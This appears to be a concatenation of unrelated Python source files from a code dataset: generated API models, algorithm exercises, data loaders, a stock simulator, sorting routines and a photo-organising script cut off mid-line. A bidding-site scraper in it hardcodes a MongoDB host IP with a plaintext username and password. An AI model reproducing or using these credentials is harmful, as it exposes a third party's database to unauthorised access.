athlete_count of this DetailedSegment. # noqa: E501\n :rtype: int\n \"\"\"\n return self._athlete_count\n\n @athlete_count.setter\n def athlete_count(self, athlete_count):\n \"\"\"Sets the athlete_count of this DetailedSegment.\n\n The number of unique athletes who have an effort for this segment # noqa: E501\n\n :param athlete_count: The athlete_count of this DetailedSegment. # noqa: E501\n :type: int\n \"\"\"\n\n self._athlete_count = athlete_count\n\n @property\n def hazardous(self):\n \"\"\"Gets the hazardous of this DetailedSegment. # noqa: E501\n\n Whether this segment is considered hazardous # noqa: E501\n\n :return: The hazardous of this DetailedSegment. # noqa: E501\n :rtype: bool\n \"\"\"\n return self._hazardous\n\n @hazardous.setter\n def hazardous(self, hazardous):\n \"\"\"Sets the hazardous of this DetailedSegment.\n\n Whether this segment is considered hazardous # noqa: E501\n\n :param hazardous: The hazardous of this DetailedSegment. # noqa: E501\n :type: bool\n \"\"\"\n\n self._hazardous = hazardous\n\n @property\n def star_count(self):\n \"\"\"Gets the star_count of this DetailedSegment. # noqa: E501\n\n The number of stars for this segment # noqa: E501\n\n :return: The star_count of this DetailedSegment. # noqa: E501\n :rtype: int\n \"\"\"\n return self._star_count\n\n @star_count.setter\n def star_count(self, star_count):\n \"\"\"Sets the star_count of this DetailedSegment.\n\n The number of stars for this segment # noqa: E501\n\n :param star_count: The star_count of this DetailedSegment. # noqa: E501\n :type: int\n \"\"\"\n\n self._star_count = star_count\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(DetailedSegment, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, DetailedSegment):\n return False\n\n return self.to_dict() == other.to_dict()\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n if not isinstance(other, DetailedSegment):\n return True\n\n return self.to_dict() != other.to_dict()\n","sub_path":"custom-swagger/python/swagger_client/models/detailed_segment.py","file_name":"detailed_segment.py","file_ext":"py","file_size_in_byte":10192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"260914177","text":"# 239. Sliding Window Maximum\n\n# Given an array nums,\n# there is a sliding window of size k which is moving from the very left of the array to the very right.\n# You can only see the k numbers in the window.\n# Each time the sliding window moves right by one position.\n# Return the max sliding window.\n\n# Example:\n\n# Input: nums = [1,3,-1,-3,5,3,6,7], and k = 3\n# Output: [3,3,5,5,6,7]\n# Explanation:\n\n# Window position Max\n# --------------- -----\n# [1 3 -1] -3 5 3 6 7 3\n# 1 [3 -1 -3] 5 3 6 7 3\n# 1 3 [-1 -3 5] 3 6 7 5\n# 1 3 -1 [-3 5 3] 6 7 5\n# 1 3 -1 -3 [5 3 6] 7 6\n# 1 3 -1 -3 5 [3 6 7] 7\n# Note:\n# You may assume k is always valid, 1 ≤ k ≤ input array's size for non-empty array.\n\n# Follow up:\n# Could you solve it in linear time?\n\nfrom typing import List\nfrom collections import deque\n\n\nclass Solution:\n def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:\n # corner case\n if len(nums) < 1 or len(nums) < k:\n return []\n # init result array\n result = [0 for _ in range(len(nums) - k + 1)]\n index = 0\n # init a deque to store max value\n max_deque = deque()\n for i in range(len(nums)):\n # if deque is not empty and find bigger value,\n # pop out the value at the end of deque\n while len(max_deque) != 0 and nums[i] >= nums[max_deque[-1]]:\n max_deque.pop()\n\n # if deque is empty or there is no value less than nums[i]\n # append it to right side\n max_deque.append(i)\n\n # if the head of deque is outdated, pop it out\n if max_deque[0] == i - k:\n max_deque.popleft()\n\n # start to store the value when i > k - 1 (it mean the deque has k values)\n if i >= (k - 1):\n result[index] = nums[max_deque[0]]\n index += 1\n return result\n\n\nif __name__ == '__main__':\n from util import Test\n s = Solution()\n t = Test(s.maxSlidingWindow)\n t.equal([3, 3, 5, 5, 6, 7], [1, 3, -1, -3, 5, 3, 6, 7], 3)\n t.equal([7, 4], [7, 2, 4], 2)\n","sub_path":"Python/239.py","file_name":"239.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"522211103","text":"import os\nimport numpy as np\nfrom pathlib import Path\nfrom functools import partial\n\nTRAIN_SPLIT_PCT = .95\nVAL_SPLIT_PCT = .025\nDEFAULT_STROKE_LENGTH = 750\nDEFAULT_BATCH_SIZE = 32\nDEFAULT_CHAR_LENGTH = 30\n# remove uncommon characters\nREMOVE_CHARS = '+/0123456789:();#!'\n\n\ndef get_data_dir():\n data_dir = os.environ.get('HANDWRITING_GENERATION_DATA_DIR')\n if data_dir is None:\n return Path(os.path.abspath(__file__)).parent / '../data_2'\n return Path(data_dir)\n\n\nDATA_DIR = get_data_dir()\n\n\ndef get_model_dir():\n d = os.environ.get('HANDWRITING_GENERATION_MODEL_DIR', './models')\n assert os.path.exists(d), ('Specify path to models as an env var: '\n '`HANDWRITING_GENERATION_MODEL_DIR`')\n return Path(d)\n\n\ndef load_raw_data():\n \"\"\"\n Load raw data.\n Mean stroke length is 644, max is 1191. 75% of strokes < 750 length.\n :return: sentences, strokes\n \"\"\"\n with (DATA_DIR / 'sentences.txt').open('r') as f:\n sentences = f.readlines()\n strokes = np.load(DATA_DIR / 'strokes-py3.npy', allow_pickle=True)\n assert len(strokes) == 6000\n assert len(sentences) == 6000\n return sentences, strokes\n\n\ndef _tokenize(sentences):\n \"\"\"\n Tokenize sentences into characters. There are 77 characters in total.\n Median sentence length is 29 characters, max of 64.\n :return: sentences_tok list(list(char)), char_set\n \"\"\"\n sentences_tok = [list(s.strip()) for s in sentences]\n char_set = set([s for st in sentences_tok for s in st])\n char_set = char_set - set(REMOVE_CHARS)\n assert len(char_set) == 59\n return sentences_tok, char_set\n\n\ndef sent_to_int(sentence, char_dict):\n return np.array([char_dict.get(s, 1) for s in sentence])\n\n\ndef _tokenized_sentences_to_ints(sentences_tok, char_set):\n \"\"\"\n Convert characters to ints for character generation\n \"\"\"\n char_dict = {}\n char_dict[' '] = 0\n char_dict[''] = 1\n idx = 1\n for c in char_set:\n if c == ' ':\n continue\n idx += 1\n char_dict[c] = idx\n\n sentences_tok = [sent_to_int(st, char_dict)\n for st in sentences_tok]\n return sentences_tok, char_dict\n\n\ndef _preprocess_raw(sentences, strokes, sentences_to_int):\n \"\"\"\n Preprocess raw data. Tokenize sentences\n :return: (tuple), dict\n \"\"\"\n metadata = {}\n sentences_tok, char_set = _tokenize(sentences)\n\n if sentences_to_int:\n # convert each character to an integer\n sentences_tok, char_dict = _tokenized_sentences_to_ints(\n sentences_tok, char_set)\n metadata['char_dict'] = char_dict\n\n metadata['char_set'] = char_set\n metadata['vocab_size'] = len(char_dict)\n\n return (sentences_tok, strokes), metadata\n\n\ndef _split_data(sentences, strokes, seed=42):\n \"\"\"\n Split into train/val/test splits\n :return: train, val, test data\n \"\"\"\n np.random.seed(seed)\n\n # compute shuffle\n data_len = len(sentences)\n idxs = list(range(data_len))\n np.random.shuffle(idxs)\n\n # get split index\n train_idx = int(data_len * TRAIN_SPLIT_PCT)\n val_idx = int(data_len * (TRAIN_SPLIT_PCT + VAL_SPLIT_PCT))\n\n # get split index lists\n train_idxs = idxs[:train_idx]\n val_idxs = idxs[train_idx:val_idx]\n test_idxs = idxs[val_idx:]\n\n # compile train/val/test data tuples\n train_data = ([sentences[t] for t in train_idxs], strokes[train_idxs])\n val_data = ([sentences[t] for t in val_idxs], strokes[val_idxs])\n test_data = ([sentences[t] for t in test_idxs], strokes[test_idxs])\n\n return train_data, val_data, test_data\n\n\ndef get_preprocessed_data_splits(seed=42, sentences_to_int=True):\n \"\"\"\n Load raw data, preprocess it, and then split the data into train/val/test\n :param seed: seed for random split of data\n :param sentences_to_int: bool, convert chars to ints in sentences\n :return: train, val, test data\n \"\"\"\n sentences, strokes = load_raw_data()\n data, metadata = _preprocess_raw(sentences, strokes, sentences_to_int)\n train, val, test = _split_data(*data, seed)\n return train, val, test, metadata\n\n\ndef pad_vec(vecs, length, rand_start=False):\n \"\"\"\n Zero pad `vecs` to `length`.\n truncate vecs longer than length, otherwise pad the end with zeros\n \"\"\"\n padded_vecs = []\n for s in vecs:\n if s.shape[0] > length:\n max_start_idx = s.shape[0] - length\n\n if rand_start:\n start_idx = np.random.randint(0, max_start_idx)\n else:\n start_idx = 0\n\n end_idx = start_idx + length\n padded = s[start_idx:end_idx]\n else:\n zero_padding_len = max(length - s.shape[0], 0)\n\n pad_arg = (0, zero_padding_len)\n\n if len(s.shape) == 2:\n # don't pad extra dimension\n pad_arg = (pad_arg, (0, 0))\n\n padded = np.pad(s, pad_arg, mode='constant')\n\n assert padded.shape[0] == length\n padded_vecs.append(padded)\n\n return np.array(padded_vecs)\n\n\ndef _normalize(vec):\n # return (vec - np.mean(vec)) / np.std(vec)\n # we want the mean bias, so that the characters go from left to right\n # but the scale should be similar\n return vec / np.std(vec)\n\n\ndef _normalize_strokes(strokes, xstd, ymean, ystd):\n # normalize the x, y coordinates\n # but keep bias in x (to move left to right)\n reshape = strokes.reshape((-1, 3))\n reshape[:, 1] = reshape[:, 1] / xstd\n reshape[:, 2] = (reshape[:, 2] - ymean) / ystd\n return reshape.reshape(strokes.shape)\n\n\ndef batch_generator(data, length, tuple_idx,\n batch_size=DEFAULT_BATCH_SIZE, normalize_strokes=False):\n \"\"\"\n Iterate infinitely over batches on data for the unconditional generator.\n \"\"\"\n data = data[tuple_idx]\n assert length > 2\n\n if normalize_strokes:\n # get the mean and std of dataset for x, y coordinates\n p = pad_vec(data, length + 1, rand_start=True).reshape((-1, 3))\n xstd = np.std(p[:, 1])\n ymean = np.mean(p[:, 2])\n ystd = np.std(p[:, 2])\n\n data_len = len(data)\n assert data_len > batch_size, \"Data length is smaller than batch size\"\n while True:\n idxs = np.random.choice(data_len, size=batch_size)\n batch_data = [data[i] for i in idxs]\n padded = pad_vec(batch_data, length + 1, rand_start=True)\n\n if normalize_strokes:\n padded = _normalize_strokes(padded, xstd, ymean, ystd)\n\n batch = np.array(padded)\n yield batch[:, :-1], batch[:, 1:]\n\n\ncharacter_batch_generator = partial(\n batch_generator, length=DEFAULT_CHAR_LENGTH, tuple_idx=0)\n\nstroke_batch_generator = partial(\n batch_generator, length=DEFAULT_STROKE_LENGTH, tuple_idx=1,\n normalize_strokes=True)\n\n\ndef conditional_batch_generator(data, stroke_length=DEFAULT_STROKE_LENGTH,\n char_length=DEFAULT_CHAR_LENGTH,\n batch_size=DEFAULT_BATCH_SIZE,\n normalize_strokes=True):\n \"\"\"\n Generate data for conditional stroke generation - pad the\n strokes and characters along with random shuffle batches\n\n :param normalize_strokes: bool, whether to center and rescale\n the y-coordinates and rescale the x-coordinates\n \"\"\"\n strokes = data[1]\n characters = data[0]\n\n if normalize_strokes:\n # get the mean and std of dataset for x, y coordinates\n p = pad_vec(strokes, stroke_length + 1).reshape((-1, 3))\n xstd = np.std(p[:, 1])\n ymean = np.mean(p[:, 2])\n ystd = np.std(p[:, 2])\n\n data_len = len(strokes)\n assert data_len > batch_size, \"Data length is smaller than batch size\"\n\n while True:\n idxs = np.random.choice(data_len, size=batch_size)\n batch_strokes = [strokes[i] for i in idxs]\n batch_chars = [characters[i] for i in idxs]\n\n padded_strokes = pad_vec(batch_strokes, stroke_length + 1)\n padded_chars = pad_vec(batch_chars, char_length)\n\n if normalize_strokes:\n padded_strokes = _normalize_strokes(\n padded_strokes, xstd, ymean, ystd)\n\n batch_strokes = np.array(padded_strokes)\n batch_chars = np.array(padded_chars)\n\n yield batch_strokes[:, :-1], batch_strokes[:, 1:], batch_chars\n","sub_path":"handwriting_gen/data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":8294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"16001103","text":"from faker import Faker\nfrom collections import namedtuple\nimport random\n\nfaker = Faker()\n\nNUM_COMPANIES = 100\nStock = namedtuple(\"Stock\", \"name, symbol, open, high, low, close\")\nStock.__doc__ = \"This namedtuple represents a stock and its daily change\"\nStock.name.__doc__ = \"Stock name\"\nStock.symbol.__doc__ = \"Stock symbol used on ticker\"\nStock.open.__doc__ = \"Day's Opening price of the stock\"\nStock.high.__doc__ = \"Day's High price of the stock\"\nStock.low.__doc__ = \"Day's low price of the stock\"\nStock.close.__doc__ = \"Day's Closing price of the stock\"\n\nStockExt = namedtuple(\"StockExt\", Stock._fields + (\"weight\", ))\nStockExt.__doc__ = \"This namedtuple extends a stock and adds the weightage of the stock in the index\"\nStockExt.weight.__doc__ = \"Represents the weightage of the stock in the index\"\n\nStockMarket = namedtuple(\"StockMarket\", list(range(NUM_COMPANIES)), rename=True)\nStockMarket.__doc__ = \"This namedtuple represents the stock market which comprises of many stocks \"\n\nIndex = namedtuple(\"Index\", 'open, high, low, close')\nIndex.__doc__ = \"This namedtuple represents the daily movement of the index\"\nIndex.open.__doc__ = \"Day's opening price of the index\"\nIndex.high.__doc__ = \"Day's high price of the index\"\nIndex.low.__doc__ = \"Day's low price of the index\"\nIndex.close.__doc__ = \"Day's close price of the index\"\n\n\ndef create_stock_market() -> StockMarket:\n \"\"\"\n Function to create random stocks\n :return: namedtuple representing the stock market which comprises of many stocks\n \"\"\"\n weights = get_random_weights(NUM_COMPANIES)\n stock_list = list()\n for weight in weights:\n stock = get_random_stock()\n stock_ext = StockExt._make(stock + (weight,))\n stock_list.append(stock_ext)\n stock_market = StockMarket(*stock_list)\n return stock_market\n\n\ndef get_random_weights(num) -> list:\n \"\"\"\n Functions to create index weightage distribution\n :param num: number of stocks in the market\n :return: list of weights of stocks in the index\n \"\"\"\n random_list = [random.random() for i in range(num)]\n sum_random_list = sum(random_list)\n random_list = [num / sum_random_list for num in random_list]\n return random_list\n\n\ndef get_random_stock() -> Stock:\n \"\"\"\n Function to create random stock and its day's price movement using faker lib\n :return: randomly generated Stock\n \"\"\"\n name = faker.company()\n open_ = random.uniform(100, 10000)\n high = random.uniform(open_, 1.2 * open_)\n low = random.uniform(0.8 * open_, open_)\n close = random.uniform(low, high)\n stock = Stock(name, name[:3] + str(random.randint(0,100)), open_, high, low, close)\n return stock\n\n\ndef calculate_index(stock_market) -> Index:\n \"\"\"\n Function to calculate the index's price movement\n :param stock_market: namedtuple representing the stock market which comprises of many stocks\n :return: index namedtuple which contains the index's price movement (open, high, low, close)\n \"\"\"\n open_ = sum(stock_ext.weight * stock_ext.open for stock_ext in stock_market)\n low = sum(stock_ext.weight * stock_ext.low for stock_ext in stock_market)\n high = sum(stock_ext.weight * stock_ext.high for stock_ext in stock_market)\n close = sum(stock_ext.weight * stock_ext.close for stock_ext in stock_market)\n return Index(open_, high, low, close)","sub_path":"Stock.py","file_name":"Stock.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"532576561","text":"# -*- coding: utf-8 -*-\n\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\nfrom urllib.parse import quote\n\nconn = MongoClient(\"114.242.177.193\", 27017)\ndc = conn.get_database(\"dc_project\")\ndc.authenticate('zjx', 'ZhuJiaxing2018')\n\nbidding_content = dc.get_collection(\"bidding_content\")\n\nkeywords = [\"数据中心\", \"云计算中心\", \"精密空调\", \"UPS\"]\n\nheaders = {\"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit 537.36 (KHTML, like Gecko) Chrome\", \"Accept\": \"text/html,application/xhtml+xml,application/xml; q=0.9,image/webp,*/*;q=0.8\"}\n\nstart_time = \"2019-01-01\"\n\n\ndef get_urls():\n for keyword in keywords:\n is_over = False\n for page in range(1, 100):\n url = \"https://www.gdebidding.com/searchGdmeetc.jspx?pageNo=%s&queryTitle=%s&channelId=\" % (page, quote(keyword))\n html = requests.get(url, headers=headers, timeout=30)\n soup = BeautifulSoup(html.text, \"html.parser\")\n tbody = soup.find(\"tbody\", class_=\"pn-ltbody\")\n if not tbody:\n break\n for tr in tbody.find_all(\"tr\"):\n td_list = tr.find_all(\"td\")\n a = td_list[1].find(\"a\")\n title = a.text\n date = td_list[-1].text\n if date < start_time:\n is_over = True\n break\n print(keyword + \" \" + title)\n yield {\"title\": title, \"date\": date, \"keyword\": keyword, \"source\": \"广东省机电设备招标中心有限公司\", \"href\": \"https://www.gdebidding.com\" + a.get(\"href\"), \"content\": \"\"}\n if is_over:\n break\n\n\nfor info in get_urls():\n html_ = requests.get(info[\"href\"], timeout=30)\n soup_ = BeautifulSoup(html_.text, \"html.parser\")\n div = soup_.find(\"div\", class_=\"padding-big\")\n content = \"\"\n p_list = div.find_all(\"p\")\n if p_list:\n for p in p_list:\n if p.text:\n content += re.sub(\"[\\s\\\\xa0 ]\", \"\", p.text) + '\\n'\n else:\n content += div.text\n info[\"content\"] = content\n bidding_content.insert_one(info)\n","sub_path":"广东省机电设备招标中心有限公司.py","file_name":"广东省机电设备招标中心有限公司.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"438099348","text":"'''\ndef reverse_words(arr):\n words = []\n front = -1\n end = -1\n n = len(arr)\n for i in range(n):\n if arr[i] == ' ':\n front = end\n end = i\n words.append(''.join(arr[front+1: end]))\n front = end\n words.append(''.join(arr[front+1:]))\n \n reversed_wds = words[::-1]\n reversed_char = []\n for word in reversed_wds:\n reversed_char += [word[i] for i in range(len(word))]\n reversed_char.append(' ')\n return reversed_char[:-1]\n'''\ndef reverse_words(arr):\n n = len(arr)\n flip(arr, 0, n)\n ptA = 0\n ptB = 0\n while ptB <= n:\n if ptB == n or arr[ptB] == ' ':\n flip(arr, ptA, ptB)\n ptA = ptB + 1\n ptB += 1\n return arr\n \ndef flip(arr, ptA, ptB):\n low = ptA\n high = ptB\n while low < high:\n arr[low], arr[high-1] = arr[high-1], arr[low]\n low += 1\n high -= 1\n\n# time: O(n) \n# space: O(n)\n\narr = ['p', 'e', ' ', 'm', 'a', 'k', ' ', 'p', 'r']\n\nprint(reverse_words(arr))","sub_path":"00_Coding_Problems/72_SentenceReverse.py","file_name":"72_SentenceReverse.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"353160509","text":"\"\"\"Cunoscând data curentă exprimată prin trei numere întregi reprezentând anul, luna, ziua precum şi data naşterii unei persoane,\r\nexprimată la fel, să se facă un program care să calculeze vârsta persoanei respective în număr de ani împliniţi. \r\nExemplu : Date de intrare data curenta 2005 10 25 data nasterii 1960 11 2 Date de ieşre 44 ani.\"\"\"\r\nac = int(input(\"Anul curent \"))\r\nlc = int(input(\"Luna curenta \"))\r\nzc = int(input(\"Ziua curenta \"))\r\nan = int(input(\"Anul nasterii \"))\r\nln = int(input(\"Luna nasterii \"))\r\nzn = int(input(\"Ziua nasterii \"))\r\nif ln>lc :\r\n print((ac-an)-1)\r\nelif (ln==lc)and(zn>zc):\r\n print((ac-an)-1)\r\nelif (ln==lc)and(zn<=zc):\r\n print(ac-an)\r\nelif ln>lc:\r\n print(ac-an)\r\nelif ac>an:\r\n print(ac-an)\r\nelif (ac==an)and(lc==ln)and(zc==zn):\r\n print(\"Persoana s-a nascut azi\")\r\nelif ac 0 and a[k] < a[k-1]:\n swap(a, k, k-1)\n k -= 1\n\n\ndef bubbleSort(a):\n N = len(a)\n for i in range(N-1, 0, -1):\n sorted = True\n for j in range(0, i):\n if (a[j] > a[j+1]):\n swap(a, j, j+1)\n sorted = False\n if sorted:\n break\n\n\ndef mergeSort(a):\n mergeSort_rec(a, 0, len(a)-1)\n\n\ndef mergeSort_rec(a, left, right):\n\n # base cases\n if right <= left:\n return\n if right - left == 1:\n if a[left] > a[right]:\n swap(a, left, right)\n return\n\n # set parameter to split\n center = (left + right)//2\n\n # recursive sorting\n mergeSort_rec(a, left, center - 1)\n mergeSort_rec(a, center, right)\n\n # merge sorted arrays\n i = left\n j = center\n b = []\n while(i < center and j < right + 1):\n if(a[i] <= a[j]):\n b.append(a[i])\n i += 1\n else:\n b.append(a[j])\n j += 1\n while i < center:\n b.append(a[i])\n i += 1\n while j < right + 1:\n b.append(a[j])\n j += 1\n j = 0\n for i in range(left, right + 1):\n a[i] = b[j]\n j += 1\n return\n\n\ndef main():\n myList = [randint(-500, 500) for i in range(10000)]\n a = myList[0:999]\n b = myList[0:999]\n c = myList[0:999]\n\n # BUBBLE SORT #\n print(str(b[0:10]) + \"\\n**Bubble Sort**\")\n start = time()\n bubbleSort(b)\n end = time()\n print(\"Result: \" + str(b[0:10]) + \"\\nTime: \" + str(end - start))\n\n # INSERTION SORT #\n print(\"\\n\" + str(a[0:10]) + \"\\n**Insertion Sort**\")\n start = time()\n insertionSort(a)\n end = time()\n print(\"Result: \" + str(a[0:10]) + \"\\nTime: \" + str(end - start))\n\n # MERGE SORT #\n print(\"\\n\" + str(c[0:10]) + \"\\n**Merge Sort**\")\n start = time()\n mergeSort(c)\n end = time()\n print(\"Result: \" + str(c[0:10]) + \"\\nTime: \" + str(end - start))\n\nmain()","sub_path":"CSC 231/Lab11sorting.py","file_name":"Lab11sorting.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"496549196","text":"import numpy as np\n\nfrom pymoo.rand.random_generator import RandomGenerator\n\n\nclass MyRandomGenerator(RandomGenerator):\n\n def __init__(self):\n self._seed = -1\n self.oldrand = np.zeros(55)\n self.jrand = 0\n\n def seed(self, s):\n import random\n random.seed(s)\n self._seed = random.random()\n\n self.__warmup_random()\n\n def rand(self, size=None):\n\n if isinstance(size, tuple) and len(size) == 1:\n size = size[0]\n\n if size is None:\n return self.__randomperc()\n elif isinstance(size, int):\n val = np.zeros(size)\n for j in range(size):\n val[j] = self.__randomperc()\n return val\n elif isinstance(size, tuple) and len(size) == 2:\n\n n = size[0]\n m = size[1]\n val = np.zeros((n, m))\n for i in range(n):\n for j in range(m):\n val[i, j] = self.__randomperc()\n\n return val\n else:\n raise Exception(\"Random Generator size % is not provided.\" % size)\n\n def perm(self, n):\n a = np.array(range(n))\n for i in range(n):\n rand = self.randint(i, n - 1)\n temp = a[rand]\n a[rand] = a[i]\n a[i] = temp\n return a\n\n def randint(self, low, high, size=None):\n val = self.rand(size=size)\n return (low + (val * (high - low))).astype(np.int)\n\n def __warmup_random(self):\n self.oldrand[54] = self._seed\n new_random = 0.000000001\n prev_random = self._seed\n for j1 in range(1, 55):\n ii = (21 * j1) % 54\n self.oldrand[ii] = new_random\n new_random = prev_random - new_random\n if new_random < 0.0:\n new_random += 1.0\n prev_random = self.oldrand[ii]\n\n self.__advance_random()\n self.__advance_random()\n self.__advance_random()\n self.jrand = 0\n\n def __randomperc(self):\n self.jrand += 1\n if self.jrand >= 55:\n self.jrand = 1\n self.__advance_random()\n return self.oldrand[self.jrand]\n\n def __advance_random(self):\n for j1 in range(24):\n new_random = self.oldrand[j1] - self.oldrand[j1 + 31]\n if new_random < 0.0:\n new_random = new_random + 1.0\n self.oldrand[j1] = new_random\n\n for j1 in range(24, 55):\n new_random = self.oldrand[j1] - self.oldrand[j1 - 24]\n if new_random < 0.0:\n new_random = new_random + 1.0\n self.oldrand[j1] = new_random\n\n","sub_path":"pymoo/rand/impl/my_random_generator.py","file_name":"my_random_generator.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"109907160","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 16 15:30:16 2016\n\nWeek 2: Simple Programs > Simple Algorithms > Exercise: guess my number\nUses bisection search to look for the pre-determined secret integer.\n\n@author: Ryan\n\"\"\"\n\nprint('Please think of a number between 0 and 100!')\nfound = False\nlow = 0\nhigh = 100\nwhile not found:\n guess = int((high + low) / 2)\n print('Is your secret number ' + str(guess) + '?')\n userInput = input('Enter \\'h\\' to indictate the guess is too high. Enter '\n '\\'l\\' to indicate the guess is too low. Enter \\'c\\' to indicate I guessed '\n 'correctly. ')\n if userInput == 'c':\n found = True\n elif userInput == 'h':\n high = guess\n elif userInput == 'l':\n low = guess\n else:\n print('Sorry, I did not understand your input.')\nprint('Game over. Your secret number was: ' + str(guess))\nexit","sub_path":"week2/simple_algorithms-guess_my_number.py","file_name":"simple_algorithms-guess_my_number.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"545738254","text":"#!/usr/bin/env python\n# Created by Bob @2016/6/6\n# add info file, ok\n# add log file,\n# add result(statistics),\n# add progress indicate,\n# move all files 201601-dd into 01xx-dd and check...\n#\n\nimport datetime\nimport os, os.path\nimport shutil\nimport traceback\nimport sys\nimport argparse\nimport subprocess\nimport re\n\nfrom pman.common.pman_logger import Logger\nfrom pman.common.pman_file import getTakenTime\n\n################################################################################\n#\ndef getSize(fn):\n return os.path.getsize(fn)\n\n\n## in current dir\ndef getFilesNum(fn):\n fs = 0\n ds = 0\n list = os.listdir(fn)\n for line in list:\n filepath = os.path.join(fn, line)\n if os.path.isdir(filepath):\n ds += 1\n else:\n fs += 1\n return (ds, fs)\n\n\n## in all sub dir\ndef getAllFilesNum(fn):\n if os.path.isfile(fn):\n return (0, 1)\n\n fs = 0\n ds = 0\n\n for root, dirs, files in os.walk(fn):\n ds += len(dirs)\n fs += len(files)\n return (ds, fs)\n\n\n################################################################################\n#\n# Main\n#\nclass Main:\n DEEP = 2\n\n def __init__(self):\n parser = argparse.ArgumentParser(\n description='arrange the dir from src(-s) folder and put it in dest(-d) folder.')\n opt = parser.add_argument\n\n opt('-v',\n '--verbose',\n dest='verbose',\n action='count',\n help='Be more verbose. Can be specified more than once to produce'\n ' even more output.')\n\n opt('-n',\n '--dry-run',\n dest='dry_run',\n action='store_true',\n help='Do not execute commands that affect the source file.')\n\n opt('-s', '--src', dest='srcpath', help='the src path.')\n\n opt('-l', '--log', dest='logpath', help='the src path.')\n\n self.options = parser.parse_args()\n\n #print(self.options);\n\n if self.options.srcpath is None:\n print(\"should specify src path: -s \")\n sys.exit(2)\n\n self.logger = Logger(self.options.verbose, self.options.logpath or\n \"c:/temp\")\n\n def __enter__(self):\n #print(\"enter\")\n return self\n\n def __exit__(self, type, value, traceback):\n #print(\"exit\")\n self.logger.close()\n\n def doafile(self, fn, f, dd, date):\n if \".ini\" in fn:\n return 0\n\n d = getTakenTime(fn)\n #print(\"date:\", fn, d.year, d.month, d.day)\n\n #print(repr(d))\n #datetime.datetime(2009, 10, 6, 10, 50, 1)\n\n if not os.path.exists(dd):\n return 0\n\n ddstdir = os.path.join(dd, '%02d' % d.month + '%02d' % d.day + '-dd')\n if not os.path.exists(ddstdir):\n os.makedirs(ddstdir)\n\n dst = ddstdir + '\\\\' + f\n\n # avoid copy/move to self.\n if fn == dst:\n return 0\n\n shutil.move(fn, dst)\n print(\"move>>:\", fn, dst)\n #shutil.copy2(fn, dst)\n return 1\n\n def checkafile(self, dd, fname, date):\n if \".ini\" in fname:\n return 0\n\n d = getTakenTime(dd)\n #print(\"date:\", fn, d.year, d.month, d.day)\n\n if '%02d%02d' % (d.month, d.day) != date:\n print(\"Warning: file(%s) is not correct: %02d%02d in %s \" %\n (dd, d.month, d.day, date))\n return 0\n return 1\n\n## in 201601-dd\n\n def formatadir(self, dd, dirname, date):\n (ds, fs) = getFilesNum(dd)\n if 0 == fs:\n return 0\n\n print(\"format: %s, %s, date:%s, fs:%d, ds:%d\" %\n (dd, dirname, date, fs, ds))\n\n fnum = 0\n list = os.listdir(dd)\n for f in list:\n fullpath = os.path.join(dd, f)\n if os.path.isfile(fullpath):\n fnum += self.doafile(fullpath, f, dd, date)\n\n#for root, dirs, files in os.walk(dd):\n# for f in files:\n# fullpath = os.path.join(root, f)\n# if None != fullpath :\n# fnum += self.doafile(fullpath, f, dd, date)\n return fnum\n\n## in 0601-dd\n\n def checkadir(self, dd, dirname, date):\n (ds, fs) = getFilesNum(dd)\n if 0 == fs:\n return 0\n if 0 != ds:\n print(\"Note: has sub dir: \" + dd)\n return 1\n\n#print(\"check: \" + dd +\", \" + dirname +\", \" + date)\n\n cnum = 0\n list = os.listdir(dd)\n for f in list:\n fullpath = os.path.join(dd, f)\n if os.path.isfile(fullpath):\n cnum += self.checkafile(fullpath, f, date)\n\n# for root, dirs, files in os.walk(dd):\n# if 0 != len(dirs):\n# print(\"Note: has sub dir: \" + dd)\n# return fnum\n# for f in files:\n# fullpath = os.path.join(root, f)\n# if None != fullpath :\n# cnum += self.checkafile(fullpath, f, date)\n return cnum\n\n def goadir(self, dd, dirname):\n fnum = 0\n cnum = 0\n me = re.match(r\"([0-9][0-9][0-9][0-9])\\-dd.*\", dirname)\n if me is None:\n me = re.match(r\"(20[0-9][0-9][0-9][0-9])\\-dd\", dirname)\n if me is None:\n return (0, 